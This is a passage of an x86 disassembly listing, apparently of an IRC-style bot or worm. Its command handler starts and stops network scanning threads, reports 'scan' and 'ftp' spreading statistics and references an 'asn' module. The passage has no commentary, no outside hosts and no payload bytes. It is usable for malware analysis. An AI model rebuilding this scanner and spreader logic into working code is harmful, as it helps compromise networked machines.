--------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FCB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB90[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63B0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44768F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444448 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444448 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EDAB2 mov eax, dword_444448 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444450 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EDAB2 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EDAB2 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call near ptr 77C47920h nop mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444448 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444448 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444448[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DD4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset aR ; " -r" mov ecx, esi call sub_4013E3 test eax, eax 